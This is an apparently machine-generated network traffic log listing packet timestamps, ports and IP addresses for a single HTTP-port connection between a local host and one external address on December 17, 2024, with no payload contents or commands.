Dec 17, 2024 10:09:05.520562887 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.523210049 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.523334980 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.563990116 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.564086914 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.564105034 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.564131021 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.564951897 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.565201998 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.565332890 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.566920042 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.567058086 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.567085028 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.567275047 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.568887949 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.568994999 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.569019079 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.569041014 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.570960999 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.570976973 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.571033001 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.572841883 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.572947025 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.572963953 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.573318958 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.574810028 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.574914932 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.574938059 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.574960947 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.576822996 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.576942921 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.576953888 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.577050924 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.578768969 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.578841925 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.578890085 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.578934908 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.580718040 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.580765963 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.580791950 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.580841064 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.582676888 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.582808971 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.582966089 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.582966089 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.584676981 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.584747076 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.584784031 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.586025000 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.586620092 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.586731911 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.586836100 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.588596106 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.588677883 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.588715076 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.588762045 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.590576887 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.590647936 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.590729952 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.592583895 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.592684984 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.592701912 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.593144894 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.594547033 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.594607115 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.594686031 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.596472025 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.596498966 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.596647024 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.596647024 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.598465919 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.598555088 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.598558903 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.598683119 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.600474119 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.600572109 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.600668907 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.602413893 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.602453947 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.602593899 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.602653980 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.604336023 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.604393959 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.604427099 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.604679108 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.621692896 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.621870041 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.621892929 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.622224092 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.622772932 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.622868061 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.622920036 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.622920036 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.624665022 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.624680996 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.624953985 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.624953985 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.626629114 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.626754045 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.626841068 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.626841068 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.628606081 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.628714085 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.628779888 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.630587101 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.630657911 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.630696058 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.630949974 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.632539988 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.632638931 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.632668972 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.632810116 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.634502888 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.634619951 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.634846926 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.634846926 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.636498928 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.636594057 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.636621952 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.636874914 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.638480902 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.638612986 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.638622046 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.638686895 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.640688896 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.640767097 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.640786886 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.640842915 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.642494917 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.642550945 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.642620087 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.642620087 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.689110041 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.689208984 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.689218044 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.689313889 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.690094948 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.690184116 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.690197945 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.690249920 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.692080975 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.692190886 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.692368031 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.692368031 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.694039106 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.694120884 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.694128036 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.694175959 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.696031094 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.696162939 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.696170092 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.696243048 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.697998047 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.698060989 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.698110104 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.698195934 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.699959040 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.700052977 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.700064898 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.700117111 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.701914072 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.702023983 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.702275038 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.702275038 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.703887939 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.703938007 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.703991890 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.704377890 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.705854893 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.706010103 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.706157923 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.706157923 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.707811117 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.707914114 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.707916975 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.707987070 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.709800959 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.709867001 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.709909916 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.709980965 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.711755991 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.711849928 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.711875916 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.711930037 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.713731050 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.713840008 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.713887930 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.713887930 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.715708971 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.715950012 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.715979099 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.716128111 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.717662096 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.717736006 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.717842102 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.717957973 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.719644070 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.719727039 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.719774961 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.720849037 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.721515894 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.721638918 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.755803108 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.755856037 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.755940914 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.755940914 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.756170988 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.756261110 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.756445885 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.757452965 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.757528067 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.757570982 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.757710934 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.758763075 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.758846045 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.758866072 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.759336948 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.760088921 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.760117054 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.760154009 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.760736942 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.761292934 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.761445999 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.761825085 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.762547016 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.762670994 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.763390064 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.763806105 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.763932943 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.763981104 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.765077114 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.765093088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.766287088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.766346931 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.766386032 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.767015934 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.767534971 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.767657995 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.768066883 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.768774033 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.768824100 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.768867970 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.768903971 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.770001888 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.770157099 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.770225048 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.771235943 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.771348000 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.771358967 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.771395922 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.772454977 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.772558928 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.772581100 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.772680998 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.773683071 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.773796082 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.773957014 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.774916887 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.775001049 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.775023937 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.775135040 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.776153088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.776283026 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.776344061 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.777376890 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.777453899 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.777493000 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.778073072 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.778614998 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.778738976 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.779222012 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.779222012 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.779850960 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.779962063 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.779985905 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.780049086 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.781075001 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.781193018 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.781250954 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.782301903 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.782459021 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.782557011 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.782557011 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.783574104 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.783672094 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.783675909 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.784096956 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.813760042 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.813891888 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.813946009 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.814344883 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.814491034 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.814512968 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.814771891 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.815596104 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.815700054 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.815937996 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.815937996 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.816993952 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.817056894 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.817075968 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.817116022 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.818052053 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.818162918 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.818593979 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.819268942 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.819348097 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.819432974 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.819487095 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.820538044 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.820641994 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.820700884 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.821760893 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.821870089 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.821871042 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.821926117 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.822999001 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.823112011 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.823120117 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.823179960 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.824244022 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.824297905 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.824685097 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.881083965 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.881175041 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.881206036 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.881258965 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.881508112 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.881567955 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.881710052 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.881710052 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.882833958 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.883038998 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.883048058 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.883172035 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.883914948 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.884057999 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.884068966 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:05.885154963 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:05.885185003 CET	80	49812	185.215.113.206	192.168.2.6
